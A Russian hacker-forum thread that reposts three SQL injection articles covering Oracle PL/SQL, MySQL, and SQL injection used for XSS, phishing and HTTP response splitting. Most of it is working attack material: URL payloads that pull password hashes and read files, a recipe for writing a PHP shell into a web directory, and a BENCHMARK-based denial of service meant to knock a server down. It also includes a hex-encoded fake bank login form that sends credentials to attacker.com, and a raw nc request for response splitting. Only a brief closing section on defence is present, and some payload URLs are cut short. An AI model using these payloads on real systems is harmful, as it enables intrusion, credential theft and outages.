приложения наиболее уязвимы к нападениям SQL инъекции. Они могут быть написаны, используя ASP, JSP или другие вышеупомянутые языки. Можно сказать, что SQL инъекция это не проблема базы данных, а проблема неправильно написанного Web приложения. Чтобы проиллюстрировать некоторые из возможностей SQL инъекции на Oracle, я написал простую процедуру PL/SQL, которая отображает телефонный номер клиентов из гипотетической таблицы клиента в базе данных. Как я уже говорил, можно изменить любую часть SQL запроса, который динамически сформирован во время выполнения и в котором входные данные предварительно не проверены. Чтобы продемонстрировать SQL инъекцию, можно использовать PL/SQL и вездесущий инструмент SQL*Plus . Процедура использует динамический SQL, чтобы передать часть SQL к базе данных. Использование PL/SQL процедуры и динамического SQL во всех отношениях идентично SQL инъекции через Web интерфейс, за исключением того, что в нашем примере мы эксплуатируем уязвимость локально, а не удаленно, поэтому читатель должен держать это в уме при прочитывании этой статьи. Также, из-за этого подхода мы не используем никаких методов символьного кодирования, чтобы передать специальные символы или метасимволы на сервер базы данных от Web-браузера. Пример используемой структуры таблицы: SQL> desc customers Name Null? Type ----------------------------------------- -------- ---------------------------- CUSTOMER_FORNAME VARCHAR2(30) CUSTOMER_SURNAME VARCHAR2(30) CUSTOMER_PHONE VARCHAR2(30) CUSTOMER_FAX VARCHAR2(30) CUSTOMER_TYPE NUMBER(10) Таблица была загружена следующим образом: SQL> select * from customers; CUSTOMER_FORNAME CUSTOMER_SURNAME ------------------------------ ------------------------------ CUSTOMER_PHONE CUSTOMER_FAX CUSTOMER_TYPE ------------------------------ ------------------------------ ------------- Fred Clark 999444888 999444889 3 Bill Jones 999555888 999555889 2 Jim Clark 999777888 999777889 1 Типовая используемая процедура создана со следующим кодом. Для этих испытаний я использовал гипотетического пользователя DBSNMP, который имеет больше привилегий, чем необходимо для обычного пользователя. Этот пользователь иллюстрирует проблему Web пользователей, ограничиваемых наименьшим количеством привилегий: create or replace procedure get_cust (lv_surname in varchar2) is type cv_typ is ref cursor; cv cv_typ; lv_phone customers.customer_phone%type; lv_stmt varchar2(32767):='select customer_phone '|| 'from customers '|| 'where customer_surname='''|| lv_surname||''''; begin dbms_output.put_line('debug:'||lv_stmt); open cv for lv_stmt; loop fetch cv into lv_phone; exit when cv%notfound; dbms_output.put_line('::'||lv_phone); end loop; close cv; end get_cust; / Невозможно просто добавить другую инструкцию в существующую инструкцию, сформированную процедурой для выполнения, как, например, в MS SQL. Посмотрим, что произойдет с нашей процедурой в этом случае: SQL> exec get_cust('x'' select username from all_users where ' 'x' '=’ 'x'); debug:select customer_phone from customers where customer_surname='x' select username from all_users where 'x'='x' -933ORA-00933: SQL command not properly ended Процедура ожидает фамилию клиента и должна формировать инструкцию формы: select customer_phone from customers where customer_surname='Jones' Как видно, можно добавить дополнительный SQL после имени, изменяющий существующий SQL запрос, используя кавычки. В предыдущем примере, ORACLE возвращает ошибку, если мы посылаем две SQL инструкции сразу к RDBMS. Инструкции в ORACLE разграничены точкой с запятой (;), т.е. мы можем попробовать следующее: SQL> exec get_cust('x'';select username from all_users where ''x''=''x'); debug:select customer_phone from customers where customer_surname='x';select username from all_users where 'x'='x' -911ORA-00911: invalid character ORACLE снова возвратил ошибку. Добавление точки с запятой после первой инструкции не позволяет выполнить вторую инструкцию, так что единственный способ заставить ORACLE выполнить дополнительный SQL запрос состоит в том, чтобы расширить существующее ‘where’ или использовать union или subselect. Следующий пример демонстрирует, как получить дополнительные данные из другой таблицы. В этом случае, мы прочитаем список пользователей в базе данных из таблицы ALL_USERS. SQL> exec get_cust('x'' union select username from all_users where ''x''=''x'); debug:select customer_phone from customers where customer_surname='x' union select username from all_users where 'x'='x' ::AURORA$JIS$UTILITY$ ::AURORA$ORB$UNAUTHENTICATED ::CTXSYS ::DBSNMP ::MDSYS ::ORDPLUGINS ::ORDSYS ::OSE$HTTP$ADMIN ::OUTLN ::SYS ::SYSTEM ::TRACESVR Мы также можем использовать подзапросы, чтобы расширить существующую инструкцию SELECT. Такое изменение не может принести много пользы, поскольку SELECT не может использоваться для добавления новых столбцов в других таблицах; однако, в этом случае мы можем изменить записи, возвращенные существующим запросом. Следующий пример возвращает все записи в таблице: Дополнительное “ и ‘x’=’x’” необходимо, что бы закрыть первоначальную кавычку. Вышеупомянутый пример возвращает все записи в нашей типовой таблице. В следующем примере мы рассмотрим способ усечения SQL запроса до оператора WHERE так, чтобы были возвращены все записи таблице. Типичный пример эксплуатации - Web приложения, использующие способ идентификации при входе в систему, в котором ищется запись в таблице пользователей, которой соответствует введенное имя пользователя и пароль. Например: select * from appusers where username=’someuser’ and password=’somecleverpassword’ SQL> exec get_cust('x'' or exists (select 1 from sys.dual) and ''x''=''x'); debug:select customer_phone from customers where customer_surname='x' or exists (select 1 from sys.dual) and 'x'='x' ::999444888 ::999555888 ::999777888 Усекая запрос, мы можем заставить SQL возвратить все записи в таблице. Это позволит войти в систему, да еще и предварительно возвратит учетную запись администратора! Ниже – пример усечения нашей типовой таблицы клиентов. Все записи могут быть возвращены, используя “OR ‘x’=’x’” в ‘where’ следующим способом: SQL> exec get_cust('x'' or ''x''=''x'); debug:select customer_phone from customers where customer_surname='x' or 'x'='x' ::999444888 ::999555888 ::999777888 Затем, изменим процедуру, чтобы расширить используемый SQL таким образом, чтобы была усечена вторая часть выражения после ‘WHERE’. Сначала рассмотрим пример изменяемой процедуры: create or replace procedure get_cust2 (lv_surname in varchar2) is type cv_typ is ref cursor; cv cv_typ; lv_phone customers.customer_phone%type; lv_stmt varchar2(32767):='select customer_phone '|| 'from customers '|| 'where customer_surname='''|| lv_surname||''' and customer_type=1'; begin dbms_output.put_line('debug:'||lv_stmt); open cv for lv_stmt; loop fetch cv into lv_phone; exit when cv%notfound; dbms_output.put_line('::'||lv_phone); end loop; close cv; exception when others then dbms_output.put_line(sqlcode||sqlerrm); end get_cust2; Мы будем использовать символы комментария “- -“, чтобы усечь SQL после оператора ‘WHERE’. Этот метод полезен в случае, когда приложение использует более одного поля, которое добавляется к динамическому SQL запросу и передается к базе данных. Чтобы упростить добавление дополнительного SQL и обойти все поля, мы можем добавить “- -“ в запись, которую мы считаем первым полем и внедрить наш SQL запрос. Пример: SQL> exec get_cust2('x'' or ''x''=''x'' --'); debug:select customer_phone from customers where customer_surname='x' or 'x'='x' --' and customer_type=1 ::999444888 ::999555888 ::999777888 Выполняя, мы видим, что возвращены все три записи из-за инструкции “or”. Если там не было бы комментария, то выполняемый SQL запрос все еще содержал бы строку “and customer_type=1”. Можно также использовать union и select на таблице all_users и затем прокомментировать остальную часть после оператора ‘WHERE’. Все приведенные выше примеры показывают, как можно внедрить дополнительный SQL в оператор ‘select’. Те же самые принципы могут использоваться в операторах update, insert и delete. Другие операторы, доступные в Oracle, включают DDL (Data Definition Language) операторы, которые позволяют изменить логическую структуру базы данных. Например, с помощью DDL, можно создать таблицу или изменить используемый язык. Часто приложения позволяют посылать любой SQL запрос к серверу. Это плохой способ программирования, поскольку позволяет выполнять операторы типа DDL. Можно утверждать, что рассматриваемый случай не является SQL инъекцией, потому что может быть выполнен любой SQL, без изменения существующего SQL запроса. В заключении мы рассмотрим проблемы в модулях, процедурах и функциях. Можно вызвать PL/SQL функцию из SQL инструкции. Существуют более тысячи встроенных функций и процедур, поставляемых со стандартными пакетами. Обычно они запускаются с DBMS (database management system) или UTL. Заголовки этих процедур могут быть найдены в $ORACLE_HOME/rdbms/admin. Также список процедур и функций может быть получен следующим запросом: SQL> col owner for a15 SQL> col object_type for a30 SQL> col object_name for a30 SQL> select owner,object_type,object_name 2 from dba_objects 3 where object_type in('PACKAGE','FUNCTION','PROCEDURE'); OWNER OBJECT_TYPE OBJECT_NAME --------------- ------------------------------ ------------------------------ SYS FUNCTION CLIENT_IP_ADDRESS SYS FUNCTION DATABASE_NAME SYS FUNCTION DBJ_LONG_NAME SYS FUNCTION DBJ_SHORT_NAME SYS PACKAGE DBMSOBJG … CTXSYS PACKAGE DR_DEF CTXSYS PROCEDURE SYNCRN 391 rows selected. Ниже приведен пример, который вызывает встроенную функцию. Функция SYS.LOGIN_USER возвращает имя вошедшего пользователя: SQL> exec get_cust('x'' union select sys.login_user from sys.dual where ''x''=''x'); debug:select customer_phone from customers where customer_surname='x' union select sys.login_user from sys.dual where 'x'='x' ::DBSNMP Функции или процедуры, которые могут быть вызваны с SQL, сильно ограничены: функция не должна изменять состояние базы данных или состояние пакета, если она вызвана удаленно, и функция не может изменить переменные пакета, если она вызвана в операторе ‘WHERE’ или группе операторов. В версиях более ранних, чем Oracle 8, очень немного встроенных функций или процедур можно вызвать из PL/SQL функции, которая вызывается из SQL инструкции. Эти ограничения несколько сняты в Oracle 8, но пользователи все равно не способны вызывать пакеты file или output типов, типа UTL_FILE или DBMS_OUTPUT или DBMS_LOB непосредственно из SQL инструкций, поскольку они должны выполняться в PL/SQL блоке или вызываться выполняющей командой из SQL*Plus. Можно использовать процедуры, являющиеся частью функции, которая предназначена для вызова из SQL запроса. Если форма или приложение формируют и выполняют динамический PL/SQL тем же самым способом, как описано выше, могут использоваться те же самые методы, чтобы вставить запросы к стандартным PL/SQL пакетам на любых PL/SQL пакетах или функциях, которые существуют в логической структуре базы данных. Если в атакуемой базе данных существуют ссылки к другим базам данных, эти базы могут также использоваться в попытках SQL инъекции. Это позволяет выполнять нападения через межсетевую защиту к базе данных, которая недоступна через Интернет. Ниже простой пример, который использует нашу PL/SQL процедуру, чтобы прочитать системную дату из другой базы данных в сети: SQL> exec get_cust('x'' union select to_char(sysdate) from sys.dual@plsq where ''x''=''x'); debug:select customer_phone from customers where customer_surname='x' union select to_char(sysdate) from sys.dual@plsq where 'x'='x' ::13-NOV-02 Заключение В первой части статьи мы предложили краткий обзор SQL инъекции и привели несколько примеров того, как эта методика может использоваться против баз данных Oracle. В следующей статье мы рассмотрим способы обнаружения SQL инъекции и обсудим методы защиты.

#4
+s.p.a.m.+

Отправлено 16 ���� 2008 - 04:00

+s.p.a.m.+

    Личный хакер форума=)

  • Banned
  • 228 сообщений
SQL инъекция в MySQL сервере

Автор: Phoenix


SQL injection - уязвимость, возникающая как следствие недостаточной проверки принятых от пользователя значений, в скрипте или программе. Я буду рассматривать инъекции в MySQL базе данных. Эта база данных является одной из самых распространенных. Если не оговорено отдельно, то считается, mysql инъекция возможна в php скрипте.

Выявление наличия SQL инъекции.

Зачастую, о наличии SQL инъекции могут сказать ошибки, явно указывающие, что произошла ошибка в sql запросе. В тоже время о наличии ошибки в SQL запросе можно судить и по косвенным признакам.

Для проверки, полностью фильтруется некоторый параметр или нет, передаем несколько измененные значения этого параметра. Например, вместо http://site/test.php?id=12 передаем.

http://site/test.php?id=12'

http://site/test.php?id=aaa

http://site/test.php?id=13-1

Если последний запрос выдает страницу, аналогичную, как и http://site/test.php?id=12, это в большинстве случаев может однозначно свидетельствовать о наличии SQL инъекции в не фильтруемом целом параметре.

Анализ БД через MySQL инъекцию.

И так, допустим нам известно о недостаточной фильтрации параметра id в скрипте http://site/test.php?id=12

Наличие подробных сообщениях об ошибках, с текстом SQL запроса, в котором произошла ошибка сведет трудность эксплуатации SQL инъекции к минимуму. Однако, многое можно сделать даже если сообщений об ошибках не выводятся вообще.

Следует принять к сведению тот факт, что даже если текст ошибки не выводиться, можно все равно однозначно судить о том, произошла ошибка, или нет (например, запрос вернул пустой результат).

В частности, возможна ситуации, когда при ошибке, возвращается код ответа 500, или редирект на главную страницу, в то время как при пустом результате запроса будет возвращена пустая страница.

Для того, чтобы выявить эти второстепенные признаки, следует составить http запросы, про которые известно, который приведет к правильному (но возвращающему пустой вывод) SQL запросу, и который приведет к неверному SQL запросу. Например, при не фильтруемом параметре id

http://site/test.php?id=99999, вероятно, будет возвращен пустой sql запрос, в то время, как

http://site/test.php?id=99999' должен породить ошибку.

Теперь, зная как отличить ошибочный запрос от пустого, начинаем последовательно извлекать информация о запросе и базе данных.

Рассмотрим случай, когда иньекция происходит после where. Если мы рассматриваем MySQL базу данных, то получение информации из базы данных может быть возможным только, если сервер имеет версию 4.*, те имеется возможность вставить в запрос union

1) количество полей между select и where

Пробуем последовательно, пока не получим верный запрос:

http://site/test.php...n select null/*

http://site/test.php...ect null,null/*

более, того, если не имеется возможность отделить неверный запрос от возвратившего пустой результат, можно сделать так:

http://site/test.php...n select null/*

http://site/test.php...ect null,null/*

Для этого, нам достаточно уметь отделять правильный запрос от неправильного, а это возможно всегда, если имеется факт наличия SQL инъекции.

После того, как мы получим правильный запрос, количество null, будет равно количеству полей между select и where

2) номер столбца с выводом. Нам понадобится знать, в каком по счету столбце происходит вывод на страницу.

При этом, если выводиться на страницу несколько параметров, то лучше найти тот, который, как кажется, имеет наибольший размер типа данных (text лучше всего), как например, описание товара, текст статьи и тд. Ищем его:

http://site/test.php...39;,null,null/*

http://site/test.php?id=9999+union+select+...est',null/*

И до тех пор, пока не увидим слово test в нужном нам месте.

Следует обратить внимание, что в этом случае один из подобных запросов обязательно вернет непустое значение.

Тут можно наткнутся на подводный камень: в скрипте, возможно имеется проверка на не пустоту одного из параметров (например, id) тут придется воспользоваться свойством MySQL, числовой тип может быть приведен к любому типу данных, без возникновения ошибки, причем так, что сохранит свое значение.

http://site/test.php... select 1,2,3/*

Этот же фокус пройдет и там, где кавычки экранируются.

Открытие комментария добавлена для того, чтобы отбросить, остальную часть запроса, если она имеется. MySQL нормально реагирует на незакрытый комментарий.

3) имена таблиц

Теперь можно перебирать имена таблиц.

http://site/test.php...l from table1/*

Правильные запросы будут соответствовать существующим именам таблиц. Наверно, интересно будет проверить на существование таблиц users, passwords, regusers и тд и тп.

4)системная информация

у нас уже достаточно информации чтобы составить такой запрос.

http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user/*

В случае, если имеются права на select из базы данных mysql, то этот запрос вернет нам хеш пароля, который в большинстве случаев легко расшифруется. Если выводиться только одна строка из запроса (например, вместо тела статьи), то можно передвигаться по строкам

http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+0,1/*

http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+1,1/*

Кроме того можно узнать много интересного:

http://site/test.php...TABASE(),null/*

http://site/test.php...l,USER(),null/*

http://site/test.php...ERSION(),null/*

5) названия столбцов в таблице

Их аналогично, можно перебрать: http://site/test.php...l from table1/* и тд.

текст файлов через MySQL инъекцию.

Если пользователь, под которым осуществляется доступ к бд, имеет права file_priv, то можно получить текст произвольного файла

http://site/test.php?id=9999+union+select+...wd'),null/*

запись файлов в веб директорию (php shell).

Как показала практика, если мы имеем права file_priv, директорию, доступную на запись всем пользователям, доступную кроме того из web, (иногда, директории upload, banners и тд.), а так же знаем имя хотя бы одной таблицы (mysql.user, например сойдет, если имеется доступ к mysql базе данных), то можно выгрузить произвольный файл на сервер используя инъекцию подобного типа.

http://site/test.php?id=9999+union+select+null,' >',null+from+table1+into+outfile+'/usr/local/site/www/banners/cmd.php'/*

При этом конструкция from table1 обязательна.

Если кроме того, на сайте имеется уязвимость, позволяющая выполнять произвольные файлы на сервере, (include("/path/$file.php")), то, в любом случае можно закачать php shell, например в директорию /tmp/, и затем подцепить этот файл оттуда при помощи уязвимости в include.

инъекция после limit.

Довольно части возможность SQL инъекции возникает внутри параметра, передающегося к limit. Это может быть номер страницы и тд и тп.

Практика показывает, что все вышесказанное может быть применено и в этом случае.

MySQL корректно реагирует на запросы типа:

Select … limit 1,2 union select….

Select … limit 1 union select….

Если необходимо чтобы первый подзапрос вернул пустой результат, необходимо искусственно задать большие смещения для первого запросы:

Select … limit 99999,1 union select…. Либо, Select … limit 1,0 union select….

некоторые "подводные камни".

1) Magic quotes

Наиболее частым подводным камнем может оказаться включение магических кавычек в конфигурации php. В случае строковых параметров это вообще позволит избежать возможности SQL инъекции, а в случае целый (дробных) параметров, в подобных запросах невозможно будет использовать кавычки, а следовательно и строки.

Частично, решить эту проблему поможет нам функция char, которая возвращает строке по кодам символов. Например

http://site/test.php...16),null,null/*

http://site/test.php...l from_table1/*

http://site/test.php...19,100)),null/*

Единственное ограничение. В случае, если хочется сделать into outfile, то а качестве имени файла, необходимо передать имя файла в кавычках. into outfile char(...) выдает ошибку.

2) Mod_security.

Казалось бы, этот модуль веб сервера apache, делает невозможным эксплуатацию уязвимости SQL инъекции. Однако, при некоторых конфигурациях PHP и этого модуля, атаку можно провести прозрачно для этого модуля.

Конфигурация по умолчанию модуля mod_security не фильтрует значение, переданные как cookie. Одновременно, в некоторых случаях, а также в некоторых конфигурациях по умолчанию php, переменные cookie регистрируются автоматически.

Таким образом, злонамеренные значения переменных, абсолютно прозрачно для mod_security можно передать как cookie значения.

DOS в MySQL инъекции.

Если не имеется возможности применения union в запросе, например, MySQL имеет версию 3.*, то, тем не менее, инъекцию можно эксплуатировать, например, для того, чтобы заставить сервер базы данных исчерпать все свои ресурсы.

Для этого, будем использовать функцию BENCHMARK, которая повторяет выполнение выражения expr заданное количество раз, указанное в аргументе count. В качестве основного выражения возьмем функцию, которая сама по себе требует некоторого времени. Например, md5(). В качестве строки возьмем current_date, чтобы строка не содержала кавычек. Функции BENCHMARK можно вкладывать друг в друга. И так, составляем запрос:

http://site/test.php...current_date)))

1000000 запросов md5 выполняются (в зависимости от мощности сервера), примерно 5 секунд, 10000000 будут выполнятся около 50 секунд. Вложенный benchmark будет выполняться очень долго, на любом сервере. Теперь останется отправлять до нескольких десятков подобных http запросов в секунду, чтобы ввести сервер в беспробудный даун.

другие типа MySQL инъекции.

Фильтровать целые значения для целых параметров и кавычки для строковых параметров порой недостаточно. Иногда к незапланируемой функциональности может привести применение % и _ специальных символов внутри like запроса. Например:

mysql_query("select id from users where password like '".addslashes($password)."' and user like '".addslashes($user)."'");

в этом случае к любому пользователю подойдет пароль %

apache mod_rewrite

В некоторых случаях, СКЛ инъекция возможна даже в параметре, который преобразуется методами mod_rewrite модуля apache, к GET параметру скрипта.

Например, скрипты типа /news/127.html преобразуются к /news/news.php?id=127 следующим правилом: RewriteRule ^/news/(.*)\.html$ "/news/news.php?id=$1"

Это позволит передать злонамеренные значения параметра скрипту. Так, например /news/128-1.html

Если выводятся подробные сообщения об ошибках, то можно сразу узнать адрес скрипа, и далее, подобрав параметр работать уже с ним. Если же нет, то можно исследовать уязвимость, прямо редактируя имя файла.

коротко о защите.

Для защиты от всего вышесказанного достаточно придерживаться нескольких простых правил.

1) для целых и дробных величин, перед их использованием в запросе достаточно привести величину к нужному типу.

$id=(int)$id; $total=(float)$total;

Вместо этого можно вставить систему слежения за тестированием на SQL инъекцию.

if((string)$id<>(string)(int)$id) {

//пишем в лог о попытке

die('ops');

}

2) для строковых параметров, которые не используются в like, regexp и тд, экранируем кавычки.

$str=addslashes($str);

или, лучше,

mysql_escape_string($str)

3) в строках, которые предполагается использовать внутри like, regexp и тд, необходимо так же заэкранировать специальные символы, применяющиеся в этих операторах, если это необходимо. В противном случае, можно задокументировать использование этих символов.

#5
+s.p.a.m.+

Отправлено 16 ���� 2008 - 04:03

+s.p.a.m.+

    Личный хакер форума=)

  • Banned
  • 228 сообщений
Ещё более продвинутый SQL Injection

... ещё более продвинутый SQL Injection (SiXSS, SiHRS и SQL Injection на
стороне клиента)

Автор : Stefano Di Paola [[email protected]]
Перевод : ilya :HackZona.ru
Оригинал : http://www.wisec.it/...l_injection.pdf
Примечание переводчика : Во многих статьях на тему "SQL Injection" я
сталкивался с разными переводами:
SQL инжекшен, SQL инъекция... Я решил не переводить этот термин и сохранить
написание его на английском языке.

Введение

Насколько опасна уязвимость SQL Injection ?
Предполагается, что с её помощью можно получить информацию со стороны
сервера, выполнить произвольные команды,
получить привилегии
Администратора на веб форумах и т.д. Короче говоря, SQL Injection
предполагает наличие уязвимости на стороне
сервера,
но иногда это может произойти и
на стороне клиента. На данный момент, на веб серверах, широко используются
системы управления контентом
(CSM - Content Management System). Применяется CSM по многим причинам,
одной из причин является работа с текстом и URL-ами.

В этой статье описываются несколько альтернативных способов применения SQL
Injection.
Предположим, что мы разработали CSM и эту CSM будем использовать в
банке...
Допустим, что мы случайным образом оставили SQL Injection на нашей
страничке.
Подождите! Без паники!
Мы создадим пользователя у которого не будет прав на чтиние/запись в файлы.
Удалим с сервера всю чувствительную
информацию
из баз данных, уберем форум, вообщем вытрем все, оставим один сервер.

Но все же останется несколько проблем ....
- XSS
- Phishing
- склеивание HTTP ответов. (HTTP Response Splitting)


SiXSS -SQL Injection для Cross Site Scripting

Условия

Предположим у нас имеется БД и эта БД будет как эта :

# The cms.sql file
CREATE DATABASE cms;

USE cms;

GRANT SELECT ON cms.* TO 'user_noprivs'@'localhost' IDENTIFIED BY
PASSWORD '4f665d3c1e638813';
CREATE TABLE content_table (
id INT PRIMARY KEY AUTO_INCREMENT,
content TEXT
);

INSERT INTO content_table (content) VALUES
('[h1]My Bank[/h1]
[p][form action="check.php" method=post]
[Table]
[tr]
[td]User:[/td]
[td][input type="text" name="username"][/td]
[/tr]
[tr]
[td]Password:[/td]
[td][input type="password" name="pass"][/td]
[/tr]
[tr]
[td][input type=submit value="LogIn"][/td]
[/tr]
[/table]
[/form]');

и PHP файл как этот :

index.php
[head]
[title]My Bank[/title]
[/head]
[body]
[?
if(@isset($_GET['id'])){
$myconns=@mysql_connect("127.0.0.1","user_noprivs","unbr34k4bё3!") or
die("sorry can't connect");
@mysql_select_db("cms") or die("sorry can't select DB");
$sql_query = @mysql_query(
"select content from content_table where id=".$_GET['id']) or die("Sorry
wrong
SQL Query");
// oops SQL Injection-^
while($tmp = @mysql_fetch_row($sql_query))
echo $tmp[0]; //echoes the result as HTML code
}else{
echo "[h1]Welcome to My Bank[/h1]
[a href="?id=1"]".Login."[/a]";
}
?]
[/body]


Как видно, результаты запроса к MySQL должны будут передаватся
пользователю.
Ну что-ж, условия определены, давайте посмотрим на страничку.
На ней мы не увидим ничего особенного.
Зайдя на страничку и кликнув по ссылке, пользователь получит приглашение на
авторизацию.

Вывод.
Проблема появляется в случае, когда некоторый текст из БД поступает сразу в
HTML страницу.
Если мы попытаемся использовать классическую или продвинутую атаку SQL
Injection, мы получим некоторую
информацию о SQL сервере
и ничего больше.
Ни дефейса, ни прав на чтение/запись...
Но появляется уязвимость на стороне клиента.
Использую UNION SELECT злоумышленник сможет внедрить произольный текст.

Атака.
Давайте сделаем небольшой трюк, чтобы обойти включенные gpc_magick_quotes
используя "0xXX" HEX вместо текста:

mysql] select HEX('[script]alert(“SiXSS”);[/script]');
+-------------------------------------------------------------------------------------------------+
| HEX('[script]alert("SiXSS");[/script]')
|
+-------------------------------------------------------------------------------------------------+
| 3C7363726970743E616C6572742822536958535322293B3C2F7363726970743E |
+-------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

и вставим это в HTTP запрос :

http://
www.mybank.com?id=1+union+select+0x3C7363726970743E616C6572742822536958535322293B3C2F7363726970
743E

Ответом будет та же страничка, но вдобавок на стороне клиента исполнится
наш скрипт
([script]alert(“SiXSS”);[/script]).
Это и будет SQL Injection для Cross Site Scripting (SiXSS)
Но что произодет при отключенных Javascripts ?
Ничего.

Атака Phishing.

Теперь, гипотетически, возможно использовать новые достижение в Phishing'e,
так как мы теперь можем внедрять
произвольный HTML код.
Это означает : никаких потдельных URL в адресе, кнопок, троянов,
шпионов...

Давайте проделаем тот-же трюк для внедрения нашего HTML кода :

mysql] select HEX('[h1]My Bank[/h1][p][form
action="http://attacker.com/check.php"
method=post][Table][tr][td]User:[/td][td][input type="text"
name="username"][/td][/tr][tr][td]Password:[/td][td][input
type="password"
name="pass"][/td][/tr][tr][td][input type=submit
value="LogIn"][/td][/tr][/table][/form]');

Результатом будет :

3C68313E4D792042616E6B3C2F68313E3C703E3C666F726D20616374696F6E3D22687474703A2F2F
61747461636B65722E63
6F6D2F636865636B2E70687022206D6574686F643D706F73743E3C5461626C653E3C74723E3C7464
3E557365723A3C2F7464
3E3C74643E3C696E70757420747970653D227465787422206E616D653D22757365726E616D65223E
3C2F74643E3C2F74723E
3C74723E3C74643E50617373776F72643A3C2F74643E3C74643E3C696E70757420747970653D2270
617373776F726422206E
616D653D2270617373223E3C2F74643E3C2F74723E3C74723E3C74643E3C696E7075742074797065
3D7375626D6974207661
6C75653D224C6F67496E223E3C2F74643E3C2F74723E3C2F7461626C653E3C2F666F726D3E

осталось только одно: давайте скроем вывод правой части.
для этого применим ещё один трюк, вместо "SELECT" вставим "AND 1=3" и добам
наш UNION:

http://www.mybank.co...3 UNION SELECT
0x3C68313E4D792042616E6B3C2F68313E3C703E3C666F726D20616374696F6E3D22687474703A2F
2F61747461636B65722E
636F6D2F636865636B2E70687022206D6574686F643D706F73743E3C5461626C653E3C74723E3C74
643E557365723A3C2F74
643E3C74643E3C696E70757420747970653D227465787422206E616D653D22757365726E616D6522
3E3C2F74643E3C2F7472
3E3C74723E3C74643E50617373776F72643A3C2F74643E3C74643E3C696E70757420747970653D22
70617373776F72642220
6E616D653D2270617373223E3C2F74643E3C2F74723E3C74723E3C74643E3C696E70757420747970
653D7375626D69742076
616C75653D224C6F67496E223E3C2F74643E3C2F74723E3C2F7461626C653E3C2F666F726D3

Вот что произойдет, когда пошлем этот URL :

$ curl “http://www.mybank.com?id=1+and+1%3d3+UNION+SELECT+0x3C...”
[head]
[title]My Bank[/title]
[/head]
[body]
[h1]My Bank[/h1][p][form action="http://attacker.com/check.php"
method=post][Table][tr][td]User:[/td][td][input type="text"
name="username"][/td][/tr][tr][td]Password:[/td][td][input type="password"
name="pass"][/td][/tr][tr][td][input type=submit
value="LogIn"][/td][/tr][/table][/form]
[/body]


Вместо нормального HTML кода :

$ curl “http://www.mybank.com?id=1”
[head]
[title]My Bank[/title]
[/head]

[body]
[h1]My Bank[/h1][p][form action="check.php"
method=post][Table][tr][td]User:[/td][td][input
type="text" name="username"][/td][/tr][tr][td]Password:[/td][td][input
type="password"
name="pass"][/td][/tr][tr][td][input type=submit
value="LogIn"][/td][/tr][/table][/form]
[/body]


Это SQL Injection для Phishing.


SiHRS -SQL Injection для склеивания HTTP ответов (HTTP Response
Splitting).

В CMS или других системах, иногда бывает так, что требуется произвести
индексацию URL, для быстрого возвращения
URL основываясь на "ID"
Представим ту же ситуацию, как и для SiXSS, но на этот раз перенаправление
на URL.
Как это :

CREATE DATABASE url_db;
USE url_db;
GRANT SELECT ON url_db.* TO 'user2_nopriv'@'localhost' IDENTIFIED BY
PASSWORD '4f665d3c1e638813';
CREATE TABLE url_table (
id INT PRIMARY KEY AUTO_INCREMENT,
url TEXT
);
INSERT INTO url_table (url) VALUES
('https://brokerage.mybank.com/login.php');

для "url_db.sql" и :

[?
if(isset($_GET['id'])){
$myconns=mysql_connect("127.0.0.1","user2_nopriv","unbr34k4bё3!") or
die("sorry can't connect");
mysql_select_db("url_db") or die("sorry can't select DB");
$sql_query = mysql_query("select url from url_table where
id=".$_GET['id']." LIMIT 1") or die
("sorry3");
$tmp = mysql_fetch_row($sql_query);
header("Location: ".$tmp[0]);
}else
header("Location: http://www.mybank.co...om/index.php");
?]

для перенаправляющего скрипта "redir.php"

Это означает, что если запрос будет вида :
$ curl “http://www.mybank.com/redir.php?id=1” -I

то нас направят на :

HTTP/1.1 302 Found
Date: Mon, 20 Sep 2004 21:08:03 GMT

Server: Apache-AdvancedExtranetServer/2.0.48 (Mandrake Linux/6.1.100mdk)
mod_perl/1.99_11
Perl/v5.8.3 PHP/4.3.8 mod_ssl/2.0.48 OpenSSL/0.9.7c
X-Powered-By: PHP/4.3.8
Location: https://brokerage.mybank.com/login.php
Content-Type: text/html

Это теоретическое предположение о возможной атаке склеивания HTTP ответов.

Вывод
Проблема появляется в случае, когда индексация URL для перенаправления
получает информацию из БД используя поле
"Location" в HTTP заголовке.
Проведем тесты, как с SiXSS и Phishing.
Условия те же что и при SiXSS, но здесь ещё проще использовать UNION SELECT
для внедрения строки.

Атака
Только для того что бы подтвердить теорию, проведем простую атаку :
mysql] select HEX('index.php
'] Content-Length: 0
']
'] HTTP/1.1 200 OK
'] Content-Type: text/html
'] Content-Length: 19
']
']
Shazam

'] ');

в HEX кодировке будет следующее :

696E6465782E7068700A436F6E74656E742D4C656E6774683A20300D0A0D0A485454502F312E3120
323030204F4B0D0A436F
6E74656E742D547970653A20746578742F68746D6C0D0A436F6E74656E742D4C656E6774683A2031
390D0A0D0A3C68746D6C
3E5368617A616D3C2F68746D6C3E0D0A

Теперь пошлем наш запрос :

$ echo -ne "GET /redir.php?id=1+and+2%3d%
34+union+select+0x696E6465782E7068700A436F6E74656E742D4C656E6774683A20300D0A0D0A
485454502F312E312032
3030204F4B0D0A436F6E74656E742D547970653A20746578742F68746D6C0D0A436F6E74656E742D
4C656E6774683A203139
0D0A0D0A3C68746D6C3E5368617A616D3C2F68746D6C3E0D0A HTTP/1.1
Host: www.mybank.com
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*

" |nc www.mybank.com 80
HTTP/1.1 302 Found
Date: Mon, 20 Sep 2004 22:58:21 GMT
Server: Apache PHP/4.3.8
X-Powered-By: PHP/4.3.8
Location: index.php
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
Shazam

Content-Length: 0
Content-Type: text/html

Каждый поймет что произошло.
Это SQL Injection для склеивания HTTP ответов.


Дополнительно
Что произойдет, если :

echo $tmp[0]; //echoes the result as HTML code

в index.php будет стоять eval () ?

eval( $tmp[0]); //eval the related php code placed in a db..

Будет очень плохо...
Используя UNION SELECT вы сможем внедрить PHP код, что приводит к
возникновению уязвимости на стороне сервера.

Как правило такая техника не используется для CMS, но, в конце концов, кто
знает ?
"Just let Fantasy be your ship in the Stream of
Consciousness"©...

Заключение.

Мы увидели, что произойдет, если разработчик будет уделять слишком много
внимания хорошой конфигурации сервера,
и совершенно не заботиться при этом о безопасности кода.
